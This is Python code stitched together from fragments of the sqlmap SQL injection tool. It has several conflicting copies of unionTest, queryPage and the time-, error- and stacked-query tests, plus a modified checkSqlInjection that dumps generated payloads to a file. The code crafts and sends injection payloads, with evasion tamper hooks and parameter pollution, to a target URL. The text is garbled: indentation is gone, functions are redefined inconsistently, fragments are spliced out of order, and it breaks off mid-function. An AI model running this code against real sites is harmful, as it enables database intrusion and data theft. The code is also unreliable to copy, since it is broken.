def timeTest():
if kb.timeTest is not None:
return kb.timeTest
infoMsg = "testing time-based blind sql injection on parameter "
infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic)
logger.info(infoMsg)
timeQuery = getDelayQuery(andCond=True)
query = agent.prefixQuery("AND %s" % timeQuery)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
start = time.time()
_ = Request.queryPage(payload)
duration = calculateDeltaSeconds(start)
if duration >= conf.timeSec:
infoMsg = "the target url is affected by a time-based blind "
infoMsg += "sql injection with AND condition syntax on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
kb.timeTest = agent.removePayloadDelimiters(payload, False)
else:
warnMsg = "the target url is not affected by a time-based blind "
warnMsg += "sql injection with AND condition syntax on parameter "
warnMsg += "'%s'" % kb.injParameter
logger.warn(warnMsg)
infoMsg = "testing time-based blind sql injection on parameter "
infoMsg += "'%s' with stacked queries syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = getDelayQuery(andCond=True)
start = time.time()
payload, _ = inject.goStacked(timeQuery)
duration = calculateDeltaSeconds(start)
if duration >= conf.timeSec:
infoMsg = "the target url is affected by a time-based blind sql "
infoMsg += "injection with stacked queries syntax on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
kb.timeTest = agent.removePayloadDelimiters(payload, False)
else:
warnMsg = "the target url is not affected by a time-based blind "
warnMsg += "sql injection with stacked queries syntax on parameter "
warnMsg += "'%s'" % kb.injParameter
logger.warn(warnMsg)
kb.timeTest = False
return kb.timeTest
def unionTest(comment, place, parameter, value, prefix, suffix):
"""
This method tests if the target URL is affected by an union
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.direct:
return
negativeLogic = kb.negativeLogic
kb.technique = PAYLOAD.TECHNIQUE.UNION
try:
if negativeLogic:
pushValue(kb.negativeLogic)
pushValue(conf.string)
pushValue(conf.code)
kb.negativeLogic = False
conf.string = conf.code = None
validPayload, vector = _unionTestByCharBruteforce(
comment, place, parameter, value, prefix, suffix)
finally:
if negativeLogic:
conf.code = popValue()
conf.string = popValue()
kb.negativeLogic = popValue()
if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload)
return validPayload, vector
def stackedTest():
if conf.direct:
return
if kb.stackedTest is not None:
return kb.stackedTest
infoMsg = "testing stacked queries sql injection on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
query = getDelayQuery()
start = time.time()
payload, _ = inject.goStacked(query)
duration = calculateDeltaSeconds(start)
if duration >= conf.timeSec:
infoMsg = "the target url is affected by a stacked queries "
infoMsg += "sql injection on parameter '%s'" % kb.injParameter
logger.info(infoMsg)
kb.stackedTest = agent.removePayloadDelimiters(payload, False)
else:
warnMsg = "the target url is not affected by a stacked queries "
warnMsg += "sql injection on parameter '%s'" % kb.injParameter
logger.warn(warnMsg)
kb.stackedTest = False
setStacked()
return kb.stackedTest
def unionTest(comment, place, parameter, value, prefix, suffix):
"""
This method tests if the target URL is affected by an union
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.direct:
return
negativeLogic = kb.negativeLogic
kb.technique = PAYLOAD.TECHNIQUE.UNION
try:
if negativeLogic:
pushValue(kb.negativeLogic)
pushValue(conf.string)
pushValue(conf.code)
kb.negativeLogic = False
conf.string = conf.code = None
validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
finally:
if negativeLogic:
conf.code = popValue()
conf.string = popValue()
kb.negativeLogic = popValue()
if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload)
return validPayload, vector
def errorTest():
if conf.direct:
return
if kb.errorTest is not None:
return kb.errorTest
infoMsg = "testing error-based sql injection on parameter "
infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic)
logger.info(infoMsg)
randInt = getUnicode(randomInt(1))
query = queries[kb.dbms].case.query % ("%s=%s" % (randInt, randInt))
result, usedPayload = inject.goError(query, suppressOutput=True, returnPayload=True)
if result:
infoMsg = "the target url is affected by an error-based sql "
infoMsg += "injection on parameter '%s'" % kb.injParameter
logger.info(infoMsg)
kb.errorTest = agent.removePayloadDelimiters(usedPayload, False)
else:
warnMsg = "the target url is not affected by an error-based sql "
warnMsg += "injection on parameter '%s'" % kb.injParameter
logger.warn(warnMsg)
kb.errorTest = False
setError()
return kb.errorTest
def unionTest():
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.direct:
return
if kb.unionTest is not None:
return kb.unionTest
if conf.uTech == "orderby":
technique = "ORDER BY clause bruteforcing"
elif conf.uChar == "NULL":
technique = "NULL bruteforcing"
else:
technique = "char (%s) bruteforcing" % conf.uChar
infoMsg = "testing inband sql injection on parameter "
infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(infoMsg)
validPayload = None
comment = queries[kb.dbms].comment.query
if conf.uTech == "orderby":
validPayload = __unionTestByOrderBy(comment)
else:
validPayload = __unionTestByCharBruteforce(comment)
if validPayload:
setUnion(comment=comment)
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "inband sql injection vulnerability "
infoMsg += "on parameter '%s' with %d columns" % (kb.injParameter, kb.unionCount)
logger.info(infoMsg)
else:
infoMsg = "the target url is not affected by an exploitable "
infoMsg += "inband sql injection vulnerability "
infoMsg += "on parameter '%s'" % kb.injParameter
logger.info(infoMsg)
validPayload = agent.removePayloadDelimiters(validPayload, False)
setUnion(payload=validPayload)
return kb.unionTest
def unionTest(comment, place, parameter, value, prefix, suffix):
"""
This method tests if the target url is affected by an union
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.direct:
return
kb.technique = PAYLOAD.TECHNIQUE.UNION
validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload)
return validPayload, vector
def unionTest(comment, place, parameter, value, prefix, suffix):
"""
此方法测试目标URL是否受unionSQL注入漏洞的影响。 测试可达3 * 50次
"""
if conf.direct:
return
kb.technique = PAYLOAD.TECHNIQUE.UNION
validPayload, vector = _unionTestByCharBruteforce(comment, place,
parameter, value, prefix,
suffix)
if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload)
return validPayload, vector
def queryPage(value=None,
place=None,
content=False,
getRatioValue=False,
silent=False,
method=None,
timeBasedCompare=False,
noteResponseTime=True,
auxHeaders=None,
response=False,
raise404=None,
removeReflection=True):
"""
This method calls a function to get the target URL page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
referer = None
host = None
page = None
pageLength = None
uri = None
code = None
urlEncodePost = None
if not place:
place = kb.injection.place or PLACE.GET
raise404 = place != PLACE.URI if raise404 is None else raise404
value = agent.adjustLateValues(value)
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
if conf.httpHeaders:
headers = dict(conf.httpHeaders)
contentType = max(headers[_] if _.upper() ==
HTTP_HEADER.CONTENT_TYPE.upper() else None
for _ in headers.keys())
urlEncodePost = contentType and "urlencoded" in contentType or contentType is None
if (kb.postHint or conf.skipUrlEncode) and urlEncodePost:
urlEncodePost = False
conf.httpHeaders = [
_ for _ in conf.httpHeaders if _[1] != contentType
]
contentType = POST_HINT_CONTENT_TYPES.get(
kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
conf.httpHeaders.append(
(HTTP_HEADER.CONTENT_TYPE, contentType))
if payload:
if kb.tamperFunctions:
for function in kb.tamperFunctions:
payload = function(payload=payload, headers=auxHeaders)
if not isinstance(payload, basestring):
errMsg = "tamper function '%s' returns " % function.func_name
errMsg += "invalid payload type ('%s')" % type(payload)
raise SqlmapValueException(errMsg)
value = agent.replacePayload(value, payload)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload))
if place == PLACE.CUSTOM_POST:
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
# payloads in SOAP/XML should have chars > and < replaced
# with their HTML encoded counterparts
payload = payload.replace('>', ">").replace('<', "<")
elif kb.postHint == POST_HINT.JSON:
if payload.startswith('"') and payload.endswith('"'):
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
value = agent.replacePayload(value, payload)
else:
# GET, POST, URI and Cookie payload needs to be throughly URL encoded
if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE
) and not conf.skipUrlEncode or place in (
PLACE.POST, ) and urlEncodePost:
payload = urlencode(payload, '%', False,
place != PLACE.URI)
value = agent.replacePayload(value, payload)
if conf.hpp:
if not any(conf.url.lower().endswith(_.lower())
for _ in (WEB_API.ASP, WEB_API.ASPX)):
warnMsg = "HTTP parameter pollution should work only against "
warnMsg += "ASP(.NET) targets"
singleTimeWarnMessage(warnMsg)
if place in (PLACE.GET, PLACE.POST):
_ = re.escape(PAYLOAD_DELIMITER)
match = re.search(
"(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value)
if match:
payload = match.group("value")
for splitter in (urlencode(' '), ' '):
if splitter in payload:
prefix, suffix = (
"*/", "/*") if splitter == ' ' else (
urlencode(_) for _ in ("*/", "/*"))
parts = payload.split(splitter)
parts[0] = "%s%s" % (parts[0], suffix)
parts[-1] = "%s%s=%s%s" % (
DEFAULT_GET_POST_DELIMITER,
match.group("name"), prefix, parts[-1])
for i in xrange(1, len(parts) - 1):
parts[i] = "%s%s=%s%s%s" % (
DEFAULT_GET_POST_DELIMITER,
match.group("name"), prefix, parts[i],
suffix)
payload = "".join(parts)
for splitter in (urlencode(','), ','):
payload = payload.replace(
splitter,
"%s%s=" % (DEFAULT_GET_POST_DELIMITER,
match.group("name")))
value = agent.replacePayload(value, payload)
else:
warnMsg = "HTTP parameter pollution works only with regular "
warnMsg += "GET and POST parameters"
singleTimeWarnMessage(warnMsg)
if place:
value = agent.removePayloadDelimiters(value)
if PLACE.GET in conf.parameters:
get = conf.parameters[
PLACE.GET] if place != PLACE.GET or not value else value
if PLACE.POST in conf.parameters:
post = conf.parameters[
PLACE.POST] if place != PLACE.POST or not value else value
if PLACE.CUSTOM_POST in conf.parameters:
post = conf.parameters[PLACE.CUSTOM_POST].replace(
CUSTOM_INJECTION_MARK_CHAR,
"") if place != PLACE.CUSTOM_POST or not value else value
post = post.replace(ASTERISK_MARKER, '*') if post else post
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[
PLACE.COOKIE] if place != PLACE.COOKIE or not value else value
if PLACE.USER_AGENT in conf.parameters:
ua = conf.parameters[
PLACE.
USER_AGENT] if place != PLACE.USER_AGENT or not value else value
if PLACE.REFERER in conf.parameters:
referer = conf.parameters[
PLACE.
REFERER] if place != PLACE.REFERER or not value else value
if PLACE.HOST in conf.parameters:
host = conf.parameters[
PLACE.HOST] if place != PLACE.HOST or not value else value
if PLACE.URI in conf.parameters:
uri = conf.url if place != PLACE.URI or not value else value
else:
uri = conf.url
if value and place == PLACE.CUSTOM_HEADER:
if not auxHeaders:
auxHeaders = {}
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
if conf.rParam:
def _randomizeParameter(paramString, randomParameter):
retVal = paramString
match = re.search("%s=(?P<value>[^&;]+)" % randomParameter,
paramString)
if match:
origValue = match.group("value")
retVal = re.sub(
"%s=[^&;]+" % randomParameter, "%s=%s" %
(randomParameter, randomizeParameterValue(origValue)),
paramString)
return retVal
for randomParameter in conf.rParam:
for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
if item in conf.parameters:
if item == PLACE.GET and get:
get = _randomizeParameter(get, randomParameter)
elif item == PLACE.POST and post:
post = _randomizeParameter(post, randomParameter)
elif item == PLACE.COOKIE and cookie:
cookie = _randomizeParameter(
cookie, randomParameter)
if conf.evalCode:
delimiter = conf.pDel or DEFAULT_GET_POST_DELIMITER
variables = {}
originals = {}
for item in filter(None, (get, post)):
for part in item.split(delimiter):
if '=' in part:
name, value = part.split('=', 1)
value = urldecode(value,
convall=True,
plusspace=(item == post
and kb.postSpaceToPlus))
evaluateCode("%s=%s" % (name, repr(value)), variables)
if cookie:
for part in cookie.split(conf.cDel
or DEFAULT_COOKIE_DELIMITER):
if '=' in part:
name, value = part.split('=', 1)
value = urldecode(value, convall=True)
evaluateCode("%s=%s" % (name, repr(value)), variables)
originals.update(variables)
evaluateCode(conf.evalCode, variables)
for name, value in variables.items():
if name != "__builtins__" and originals.get(name, "") != value:
if isinstance(value, (basestring, int)):
value = unicode(value)
if re.search(r"\b%s=" % name, (get or "")):
get = re.sub(
"((\A|\W)%s=)([^%s]+)" % (name, delimiter),
"\g<1>%s" % value, get)
elif re.search(r"\b%s=" % name, (post or "")):
post = re.sub(
"((\A|\W)%s=)([^%s]+)" % (name, delimiter),
"\g<1>%s" % value, post)
elif re.search(r"\b%s=" % name, (cookie or "")):
cookie = re.sub(
"((\A|\W)%s=)([^%s]+)" %
(name, conf.cDel or DEFAULT_COOKIE_DELIMITER),
"\g<1>%s" % value, cookie)
elif post is not None:
post += "%s%s=%s" % (delimiter, name, value)
else:
get += "%s%s=%s" % (delimiter, name, value)
if not conf.skipUrlEncode:
get = urlencode(get, limit=True)
if post is not None:
if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(
post, UNENCODED_ORIGINAL_VALUE):
post = getattr(post, UNENCODED_ORIGINAL_VALUE)
elif urlEncodePost:
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
if timeBasedCompare:
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
clearConsoleLine()
if conf.tor:
warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
warnMsg += "time-based injections because of its high latency time"
singleTimeWarnMessage(warnMsg)
warnMsg = "time-based comparison needs larger statistical "
warnMsg += "model. Making a few dummy requests, please wait.."
singleTimeWarnMessage(warnMsg)
while len(kb.responseTimes) < MIN_TIME_RESPONSES:
Connect.queryPage(content=True)
elif not kb.testMode:
warnMsg = "it is very important not to stress the network adapter's "
warnMsg += "bandwidth during usage of time-based payloads"
singleTimeWarnMessage(warnMsg)
if not kb.laggingChecked:
kb.laggingChecked = True
deviation = stdev(kb.responseTimes)
if deviation > WARN_TIME_STDEV:
kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE
warnMsg = "there is considerable lagging "
warnMsg += "in connection response(s). Please use as high "
warnMsg += "value for option '--time-sec' as possible (e.g. "
warnMsg += "10 or more)"
logger.critical(warnMsg)
if conf.safUrl and conf.saFreq > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.saFreq == 0:
Connect.getPage(url=conf.safUrl,
cookie=cookie,
direct=True,
silent=True,
ua=ua,
referer=referer,
host=host)
start = time.time()
if kb.nullConnection and not content and not response and not timeBasedCompare:
noteResponseTime = False
pushValue(kb.pageCompress)
kb.pageCompress = False
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
if not auxHeaders:
auxHeaders = {}
auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1"
_, headers, code = Connect.getPage(
url=uri,
get=get,
post=post,
cookie=cookie,
ua=ua,
referer=referer,
host=host,
silent=silent,
method=method,
auxHeaders=auxHeaders,
raise404=raise404,
skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))
if headers:
if kb.nullConnection in (
NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ
) and HTTP_HEADER.CONTENT_LENGTH in headers:
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
pageLength = int(
headers[HTTP_HEADER.CONTENT_RANGE]
[headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
kb.pageCompress = popValue()
if not pageLength:
try:
page, headers, code = Connect.getPage(
url=uri,
get=get,
post=post,
cookie=cookie,
ua=ua,
referer=referer,
host=host,
silent=silent,
method=method,
auxHeaders=auxHeaders,
response=response,
raise404=raise404,
ignoreTimeout=timeBasedCompare)
except MemoryError:
page, headers, code = None, None, None
warnMsg = "site returned insanely large response"
if kb.testMode:
warnMsg += " in testing phase. This is a common "
warnMsg += "behavior in custom WAF/IDS/IPS solutions"
singleTimeWarnMessage(warnMsg)
if conf.secondOrder:
page, headers, code = Connect.getPage(
url=conf.secondOrder,
cookie=cookie,
ua=ua,
silent=silent,
auxHeaders=auxHeaders,
response=response,
raise404=False,
ignoreTimeout=timeBasedCompare,
refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
kb.originalCode = kb.originalCode or code
if kb.testMode:
kb.testQueryCount += 1
if timeBasedCompare:
return wasLastResponseDelayed()
elif noteResponseTime:
kb.responseTimes.append(threadData.lastQueryDuration)
if not response and removeReflection:
page = removeReflectiveValues(page, payload)
kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "",
re.I) is not None
kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "",
re.I) is not None
if content or response:
return page, headers
if getRatioValue:
return comparison(page,
headers,
code,
getRatioValue=False,
pageLength=pageLength), comparison(
page,
headers,
code,
getRatioValue=True,
pageLength=pageLength)
else:
return comparison(page, headers, code, getRatioValue, pageLength)
def checkSqlInjection(payload_file):
while tests:
test = tests.pop(0)
try:
title = test["title"]
testType = stype = test["stype"]
clause = test["clause"]
unionExtended = False
"""
# Test for UNION
if stype == PAYLOAD.TECHNIQUE.UNION: # PAYLOAD.TECHNIQUE.UNION = 3
# configUnion(test.request.char)
if "[CHAR]" in title:
title = title.replace("[CHAR]", "CHAR")
elif "[RANDNUM]" in title or "(NULL)" in title:
title = title.replace("[RANDNUM]", "random number")
if test.request.columns == "[COLSTART]-[COLSTOP]":
title = title.replace("[COLSTART]", str("1"))
title = title.replace("[COLSTOP]", str("5"))
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
unionExtended = True
test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
"""
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
"""
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
"""
# Parse test's <request>
comment = agent.getComment(test["request"])
"""
try:
fstPayload = agent.cleanupPayload(test["request"]["payload"], origValue=1)
print >> payload_file, fstPayload
except:
print "[Error] Int value generate failed"
"""
try:
fstPayload = agent.cleanupPayload(test["request"]["payload"],
origValue="1")
# print fstPayload
print >> payload_file, fstPayload
except:
print "[Error] String value generate failed :", test
"""
try:
fstPayload = agent.cleanupPayload(test["request"]["payload"], origValue=None)
print >> payload_file, fstPayload
except:
print "[Error] None value generate failed"
"""
for boundary in boundaries:
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test["clause"]:
if clauseTest in boundary["clause"]:
clauseMatch = True
break
if test["clause"] != [0] and boundary["clause"] != [
0
] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test["where"]:
if where in boundary["where"]:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary["prefix"] if boundary["prefix"] else ""
suffix = boundary["suffix"] if boundary["suffix"] else ""
ptype = boundary["ptype"]
# For each test's <where>
for where in test["where"]:
templatePayload = None
vector = None
place = "GET"
parameter = "id"
value = "1"
# print "where -----",where
# Threat the parameter original value according to the
# test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL: # 1
origValue = "1"
templatePayload = agent.payload(place,
parameter,
value="",
newValue=origValue,
where=where)
try:
print >> payload_file, templatePayload
except:
print "[Error] PAYLOAD.WHERE.ORIGINAL generate failed"
elif where == PAYLOAD.WHERE.NEGATIVE: #2
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
# print "1++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=="
kb.data["randomInt"] = str(randomInt(10))
kb.data["randomStr"] = str(randomStr(10))
# print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=="
_ = int(kb.data["randomInt"][:2])
origValue = "%s AND %s=%s" % (value, _, _ + 1)
templatePayload = agent.payload(place,
parameter,
value="",
newValue=origValue,
where=where)
try:
print >> payload_file, templatePayload
except:
print "[Error] PAYLOAD.WHERE.NEGATIVE invalidLogical generate failed"
origValue = kb.data["randomInt"][:6]
templatePayload = agent.payload(place,
parameter,
value="",
newValue=origValue,
where=where)
try:
print >> payload_file, templatePayload
except:
print "[Error] PAYLOAD.WHERE.NEGATIVE invalidBignum generate failed"
origValue = kb.data["randomStr"][:6]
templatePayload = agent.payload(place,
parameter,
value="",
newValue=origValue,
where=where)
try:
print >> payload_file, templatePayload
except:
print "[Error] PAYLOAD.WHERE.NEGATIVE invalidString generate failed"
origValue = "-%s" % kb.data["randomInt"][:4]
templatePayload = agent.payload(place,
parameter,
value="",
newValue=origValue,
where=where)
try:
print >> payload_file, templatePayload
except:
print "[Error] PAYLOAD.WHERE.REPLACE generate failed"
elif where == PAYLOAD.WHERE.REPLACE: # 3
origValue = ""
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where,
clause)
boundPayload = agent.suffixQuery(boundPayload, comment,
suffix, where)
reqPayload = agent.payload(place,
parameter,
newValue=boundPayload,
where=where)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(
check,
origValue=value
if place not in (PLACE.URI, PLACE.CUSTOM_POST,
PLACE.CUSTOM_HEADER) else None)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(
test.response.comparison,
origValue=value if place
not in (PLACE.URI, PLACE.CUSTOM_POST,
PLACE.CUSTOM_HEADER) else None)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = agent.prefixQuery(
sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(
boundPayload, comment, suffix, where)
cmpPayload = agent.payload(
place,
parameter,
newValue=boundPayload,
where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
kb.negativeLogic = (
where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(),
place,
raise404=False)
falsePage = threadData.lastComparisonPage or ""
# Perform the test's True request
trueResult = Request.queryPage(reqPayload,
place,
raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
falseResult = Request.queryPage(
genCmpPayload(), place, raise404=False)
# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
if not injectable and not any(
(conf.string, conf.notString,
conf.regexp)) and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(
extractTextTagContent(falsePage))
candidates = filter(
None,
(_.strip() if
_.strip() in (kb.pageTemplate or "") and
_.strip() not in falsePage and _.strip()
not in threadData.lastComparisonHeaders
else None for _ in (trueSet - falseSet)))
if candidates:
conf.string = candidates[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (
place, parameter, title,
repr(conf.string).lstrip('u').strip(
"'"))
logger.info(infoMsg)
injectable = True
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
try:
page, headers = Request.queryPage(
reqPayload,
place,
content=True,
raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue( \
[headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
except SqlmapConnectionException, msg:
debugMsg = "problem occurred most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(
reqPayload,
place,
timeBasedCompare=True,
raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(
reqPayload,
place,
timeBasedCompare=True,
raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeUnionQuery()
# method to forge the UNION query payload
configUnion(test.request.char,
test.request.columns)
if not Backend.getIdentifiedDbms():
if kb.heuristicDbms in (None, UNKNOWN_DBMS):
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using option '--dbms'"
singleTimeWarnMessage(warnMsg)
else:
Backend.forceDbms(kb.heuristicDbms)
if unionExtended:
infoMsg = "automatically extending ranges "
infoMsg += "for UNION query injection technique tests as "
infoMsg += "there is at least one other (potential) "
infoMsg += "technique found"
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(
comment, place, parameter, value, prefix,
suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (
place, parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
if conf.dummy:
injectable = False
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.USER_AGENT, PLACE.REFERER,
PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, "details"):
for dKey, dValue in test.details.items():
if dKey == "dbms":
injection.dbms = dValue
if not isinstance(dValue, list):
Backend.setDbms(dValue)
else:
Backend.forceDbms(dValue[0], True)
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
injection.dbms_version = Backend.setVersion(
dValue)
elif dKey == "os" and injection.os is None:
injection.os = Backend.setOs(dValue)
if vector is None and "vector" in test and test.vector is not None:
vector = test.vector
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[
stype].payload = agent.removePayloadDelimiters(
reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if not kb.alerted:
if conf.beep:
beep()
if conf.alert:
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = execute(conf.alert, shell=True)
process.wait()
kb.alerted = True
# There is no need to perform this test for other
# <where> tags
break
parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1])
for i in xrange(1, len(parts) - 1):
parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix)
payload = "".join(parts)
for splitter in (urlencode(','), ','):
payload = payload.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name")))
value = agent.replacePayload(value, payload)
else:
warnMsg = "HTTP parameter pollution works only with regular "
warnMsg += "GET and POST parameters"
singleTimeWarnMessage(warnMsg)
if place:
value = agent.removePayloadDelimiters(value)
if PLACE.GET in conf.parameters:
get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
if PLACE.POST in conf.parameters:
post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
if PLACE.CUSTOM_POST in conf.parameters:
post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value
post = post.replace(ASTERISK_MARKER, '*') if post else post
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value
if PLACE.USER_AGENT in conf.parameters:
def queryPage(value=None,
place=None,
content=False,
getRatioValue=False,
silent=False,
method=None,
timeBasedCompare=False,
noteResponseTime=True,
auxHeaders=None,
response=False,
raise404=None,
removeReflection=True):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
referer = None
host = None
page = None
pageLength = None
uri = None
code = None
skipUrlEncode = conf.skipUrlEncode
if not place:
place = kb.injection.place or PLACE.GET
raise404 = place != PLACE.URI if raise404 is None else raise404
value = agent.adjustLateValues(value)
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
if skipUrlEncode is None and conf.httpHeaders:
headers = dict(conf.httpHeaders)
